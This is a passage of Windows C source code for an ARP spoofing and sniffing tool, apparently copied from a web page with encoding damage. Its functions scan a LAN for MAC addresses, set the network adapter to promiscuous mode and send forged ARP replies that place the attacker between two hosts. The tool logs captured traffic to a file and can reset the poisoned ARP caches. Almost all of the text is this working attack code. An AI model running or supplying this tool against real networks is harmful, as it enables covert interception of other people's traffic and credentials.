/>聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽pLine=pChar;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%08lx : ",pChar-base);<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽ulen=tlen;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽ulen=(ulen>16) ? 16 : ulen;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽tlen-=ulen;<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽for(j=0;j<ulen;j++)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%02x ",*(BYTE *)pChar++);<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽if(ulen<16)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%*s",(16-ulen)*3," ");<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽pChar=pLine;<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽for(j=0;j<ulen;j++,pChar++)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%c",isprint(*pChar)? *pChar : '.');<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fputc(isprint(*pChar) ? *pChar : '.',fp); <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("\n");<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("\n");<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fwrite("\r\n",2,1,fp);聽聽<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽}<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽continue;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))聽聽<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽sin.sin_addr.s_addr=arp->arp_spa;<br /><br />聽聽聽聽 聽聽聽聽聽聽聽聽if(sin.sin_addr.s_addr==htonl(myip)) <br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(mmac,eth->eh_src,6);<br />聽聽聽聽聽聽聽聽if(!mm)<br />聽聽聽聽聽聽聽聽 聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("\t");聽聽聽聽<br />聽聽聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽聽聽for(k=0;k<5;k++)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x-",eth->eh_src[k]);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x\n",eth->eh_src[5]);<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽switch(op)<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽case 1:<br />聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽聽聽printf("\n[MAC LIST:]");<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽break;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽case 2:<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("\n[Sniffing Host:]");聽聽聽聽 <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽break;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽default:聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽break;<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽mm=TRUE;<br />聽聽聽聽聽聽聽聽}<br /><br />聽聽聽聽聽聽聽聽 聽聽聽聽if((op==1) || (op==2))<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("\n[IP:] %.16s聽聽[MAC:] ",inet_ntoa(sin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽for(k=0;k<5;k++)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x-",eth->eh_src[k]);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x",eth->eh_src[5]);<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽 聽聽聽聽else if(((op==3) || (op==4)) && (!fm || !sm))<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽if(arp->arp_spa==htonl(firstip))<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽memcpy(fmac,eth->eh_src,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fm=TRUE;<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽<br />聽聽聽聽聽聽聽聽聽聽聽聽if(arp->arp_spa==htonl(secondip))<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽memcpy(smac,eth->eh_src,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽sm=TRUE;<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽}<br />聽聽聽聽}<br />聽聽聽聽return ;<br />}<br />聽聽聽聽聽聽聽聽聽聽聽聽<br />DWORD WINAPI sniff(LPVOID no)<br />{<br />聽聽聽聽int聽聽聽聽聽聽option=*(int *)no;<br />聽聽聽聽char聽聽聽聽 recvbuf[1024*250];<br /><br />聽聽聽聽if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("Warning: Unable to set the adapter to promiscuous mode\n");<br />聽聽聽聽}<br /><br />聽聽聽聽if(PacketSetBuff(lpadapter,500*1024)==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("PacketSetBuff Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br /><br />聽聽聽聽if(PacketSetReadTimeout(lpadapter,1)==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("Warning: Unable to set the timeout\n");<br />聽聽聽聽}<br /><br />聽聽聽聽if((lppacketr=PacketAllocatePacket())==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("PacketAllocatePacket receive Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br /><br />聽聽聽聽PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));<br /><br />聽聽聽聽while(!kbhit())<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽if(GetLastError()==6)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽return 0;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("PacketReceivePacket Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽getdata(lppacketr,option);<br />聽聽聽聽}<br />聽聽聽聽return 0;<br />}<br /><br />DWORD WINAPI sendMASR(LPVOID no)<br />{<br />聽聽聽聽int聽聽聽聽fun=*(int *)no;<br />聽聽聽聽int聽聽聽聽k,stimes;<br />聽聽聽聽聽聽聽聽char聽聽 sendbuf[1024];<br />聽聽聽聽ETHDR聽聽eth;<br />聽聽聽聽ARPHDR arp;<br /><br />聽聽聽聽if(fun<1 || fun>4)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br />聽聽聽聽else<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽for(k=0;k<6;k++)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽eth.eh_dst[k]=0xff;<br />聽聽聽聽聽聽聽聽聽聽聽聽arp.arp_tha[k]=0x00;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽if(fun==2)<br />聽聽聽聽聽聽聽聽聽聽聽聽eth.eh_dst[5]=0xfe;<br />聽聽聽聽}<br /><br />聽聽聽聽memcpy(eth.eh_src,mmac,6);<br />聽聽聽聽eth.eh_type=htons(ETH_ARP);<br /><br />聽聽聽聽arp.arp_hdr=htons(ARP_HARDWARE);<br />聽聽聽聽arp.arp_pro=htons(ETH_IP);<br />聽聽聽聽arp.arp_hln=6;<br />聽聽聽聽arp.arp_pln=4;<br />聽聽聽聽arp.arp_opt=htons(ARP_REQUEST);<br />聽聽聽聽arp.arp_spa=htonl(myip);<br />聽聽聽聽memcpy(arp.arp_sha,mmac,6);<br /><br />聽聽聽聽if(fun==1 || fun==2)<br />聽聽聽聽聽聽聽聽stimes=1;<br />聽聽聽聽else if(fun==3 || fun==4)<br />聽聽聽聽聽聽聽聽stimes=2;<br /><br />聽聽聽聽for(k=0;k<stimes;k++)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽if(stimes==1)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽arp.arp_tpa=htonl(firstip+(num++));<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else if(stimes==2)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽switch(k)<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽case 0:<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽arp.arp_tpa=htonl(firstip);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽break;<br />聽聽聽聽聽聽聽聽聽聽聽聽case 1:<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽arp.arp_tpa=htonl(secondip);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽break;<br />聽聽聽聽聽聽聽聽聽聽聽聽default:<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽break;<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽}<br /><br />聽聽聽聽聽聽聽聽memset(sendbuf,0,sizeof(sendbuf));<br />聽聽聽聽聽聽聽聽memcpy(sendbuf,&eth;,sizeof(eth));<br />聽聽聽聽聽聽聽聽memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />聽聽聽聽聽聽聽聽PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />聽聽聽聽聽聽聽聽if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽}<br />聽聽聽聽return 0;<br />}<br />聽聽聽聽聽聽聽聽<br />DWORD WINAPI sendSR(LPVOID no)<br />{<br />聽聽聽聽int聽聽聽聽 fun=*(int *)no;<br />聽聽聽聽int聽聽聽聽 j,k;<br />聽聽聽聽char聽聽聽聽sendbuf[1024];<br />聽聽聽聽struct聽聽sockaddr_in聽聽fsin,ssin;<br />聽聽聽聽BOOL聽聽聽聽stimes=FALSE;<br />聽聽聽聽ETHDR聽聽 eth;<br />聽聽聽聽ARPHDR聽聽arp;<br /><br />聽聽聽聽fsin.sin_addr.s_addr=htonl(firstip);<br />聽聽聽聽ssin.sin_addr.s_addr=htonl(secondip);<br /><br />聽聽聽聽eth.eh_type=htons(ETH_ARP);<br />聽聽聽聽arp.arp_hdr=htons(ARP_HARDWARE);<br />聽聽聽聽arp.arp_pro=htons(ETH_IP);<br />聽聽聽聽arp.arp_hln=6;<br />聽聽聽聽arp.arp_pln=4;<br />聽聽 聽聽聽聽arp.arp_opt=htons(ARP_REPLY);聽聽聽聽聽聽 <br /><br />聽聽聽聽if(fun==3)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽if(mm)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽if((firstip==myip) && (secondip==myip))<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fm=TRUE;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽sm=TRUE;<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽memcpy(fmac,mmac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽memcpy(smac,mmac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽else if(!fm || !sm)<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("\nNot get enough data\n"); <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽for(j=0;j<2;j++)<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽if(j==0)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("\nSpoofing %.16s :聽聽",inet_ntoa(fsin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽else if(j==1)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("Spoofing %.16s :聽聽",inet_ntoa(ssin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽for(k=0;k<5;k++)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x-",mmac[k]);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x\n",mmac[5]);<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("\ni will try to snoof ...\n\n");<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽stimes=TRUE;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else <br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("\nNot get enough data\n"); <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽}<br />聽聽聽聽else if(fun==4)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽if(mm) <br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽if((firstip==myip) && (secondip==myip))<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fm=TRUE;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽sm=TRUE;<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽聽聽memcpy(fmac,mmac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽memcpy(smac,mmac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽else if(!fm || !sm)<br />聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("\nNot get enough data\n");<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽聽聽聽聽}<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽printf("\nReset %.16s :聽聽",inet_ntoa(fsin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽for(k=0;k<5;k++)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x-",smac[k]);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x\n",smac[5]);<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽printf("Reset %.16s :聽聽",inet_ntoa(ssin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽for(k=0;k<5;k++)<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%.2x-",fmac[k]);<br />聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽printf("%.2x\n\n",fmac[5]);<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽stimes=FALSE;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else <br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("\nNot get enough data\n"); <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽}<br />聽聽聽聽else<br />聽聽聽聽聽聽聽聽return -1;<br /><br />聽聽聽聽do<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽memcpy(eth.eh_dst,fmac,6);<br />聽聽聽聽聽聽聽聽memcpy(arp.arp_tha,fmac,6);<br />聽聽聽聽聽聽聽聽arp.arp_tpa=htonl(firstip);<br />聽聽聽聽聽聽聽聽arp.arp_spa=htonl(secondip);<br /><br />聽聽聽聽聽聽聽聽if(!stimes)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(eth.eh_src,smac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(arp.arp_sha,smac,6);<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(eth.eh_src,mmac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(arp.arp_sha,mmac,6);<br />聽聽聽聽聽聽聽聽}<br /><br />聽聽聽聽聽聽聽聽memset(sendbuf,0,sizeof(sendbuf));<br />聽聽聽聽聽聽聽聽memcpy(sendbuf,&eth;,sizeof(eth));<br />聽聽聽聽聽聽聽聽memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />聽聽聽聽聽聽聽聽PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽if(PacketSetNumWrites(lpadapter,2)==FALSE)<br />聽聽聽聽聽聽聽聽{<br />聽聽 聽聽聽聽聽聽聽聽聽聽聽聽printf("Warning: Unable to send a packet 2 times\n");<br />聽聽聽聽聽聽聽聽}<br /><br />聽聽聽聽聽聽聽聽if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽Sleep(1000);聽聽<br /><br />聽聽聽聽聽聽聽聽memcpy(eth.eh_dst,smac,6);<br />聽聽聽聽聽聽聽聽memcpy(arp.arp_tha,smac,6);<br />聽聽聽聽聽聽聽聽arp.arp_tpa=htonl(secondip);<br />聽聽聽聽聽聽聽聽arp.arp_spa=htonl(firstip);<br /><br />聽聽聽聽聽聽聽聽if(!stimes)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(eth.eh_src,fmac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(arp.arp_sha,fmac,6);<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽else聽聽聽聽<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(eth.eh_src,mmac,6);<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(arp.arp_sha,mmac,6);<br />聽聽聽聽聽聽聽聽}<br /><br /><br />聽聽聽聽聽聽聽聽memset(sendbuf,0,sizeof(sendbuf));<br />聽聽聽聽聽聽聽聽memcpy(sendbuf,&eth;,sizeof(eth));<br />聽聽聽聽聽聽聽聽memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />聽聽聽聽聽聽聽聽PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />聽聽聽聽聽聽聽聽if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽Sleep(1000);<br />聽聽聽聽}while(stimes);<br /><br />聽聽聽聽if(fun==4)<br />聽聽聽聽聽聽聽聽printf("Reset Successfully");<br /><br />聽聽聽聽return 0;<br />}<br /><br />int main(int argc,char *argv[])<br />{<br />聽聽聽聽HANDLE聽聽 sthread,rthread;<br />聽聽聽聽WCHAR聽聽聽聽adaptername[8192];<br />聽聽聽聽WCHAR聽聽聽聽*name1,*name2;<br />聽聽聽聽ULONG聽聽聽聽adapterlength;<br />聽聽聽聽DWORD聽聽聽聽threadsid,threadrid;<br />聽聽聽聽struct聽聽 NetType聽聽聽聽聽聽ntype;<br />聽聽聽聽struct聽聽 bpf_stat聽聽聽聽 stat;<br />聽聽聽聽struct聽聽 sockaddr_in聽聽sin;<br />聽聽聽聽struct聽聽 npf_if_addr聽聽ipbuff;<br />聽聽聽聽int聽聽聽聽聽聽adapternum=0,opti=0,open,i,total;<br />聽聽聽聽long聽聽聽聽 npflen;<br /><br />聽聽聽聽system("cls.exe");<br />聽聽聽聽start();<br /><br />聽聽聽聽if(argc!=4)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽usage();<br />聽聽聽聽聽聽聽聽getche();<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br />聽聽聽聽else<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽if(!strcmp(argv[1],"-m"))<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽opti=1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else if(!strcmp(argv[1],"-a"))<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽opti=2;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else if(!strcmp(argv[1],"-s"))<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽 聽聽聽聽聽聽聽聽opti=3;<br /><br />聽聽聽聽聽聽聽聽 聽聽聽聽if((fp=fopen("capture.txt","w+"))==NULL)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("Open capture.txt Error: %d\n");<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽else<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fwrite("T-ARP Captrue Data",20,1,fp);<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else if(!strcmp(argv[1],"-r"))<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽opti=4;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽else<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽usage();<br />聽聽聽聽聽聽聽聽聽聽聽聽getche();<br />聽聽聽聽聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽}<br /><br /><br />聽聽聽聽firstip=ntohl(inet_addr(argv[2]));<br />聽聽聽聽secondip=ntohl(inet_addr(argv[3]));<br />聽聽聽聽total=secondip-firstip+1;<br /><br />聽聽聽聽printf("\nLibarary Version: %s",PacketGetVersion());<br /><br />聽聽聽聽adapterlength=sizeof(adaptername);<br /><br />聽聽聽聽if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("PacketGetAdapterNames Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br />聽聽聽聽<br />聽聽聽聽name1=adaptername;<br />聽聽聽聽name2=adaptername;<br />聽聽聽聽i=0;<br /><br />聽聽聽聽while((*name1!='\0') || (*(name1-1)!='\0'))<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽if(*name1=='\0')<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽memcpy(adapterlist[i],name2,2*(name1-name2));<br />聽聽聽聽聽聽聽聽聽聽聽聽name2=name1+1;<br />聽聽聽聽聽聽聽聽聽聽聽聽i++;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽name1++;<br />聽聽聽聽}<br /><br />聽聽聽聽adapternum=i;<br />聽聽聽聽printf("\nAdapters Installed:\n");<br />聽聽聽聽for(i=0;i<adapternum;i++)<br />聽聽聽聽聽聽聽聽wprintf(L"%d - %s\n",i+1,adapterlist[i]);<br /><br />聽聽聽聽do<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("\nSelect the number of the adapter to open: ");<br />聽聽聽聽聽聽聽聽scanf("%d",&open);<br />聽聽聽聽聽聽聽聽if(open>=1 && open<=adapternum)<br />聽聽聽聽聽聽聽聽聽聽聽聽break;聽聽聽聽聽聽聽聽 <br />聽聽聽聽}while(open<1 || open>adapternum);<br /><br />聽聽聽聽lpadapter=PacketOpenAdapter(adapterlist[open-1]);<br /><br />聽聽聽聽if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("PacketOpenAdapter Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br /><br 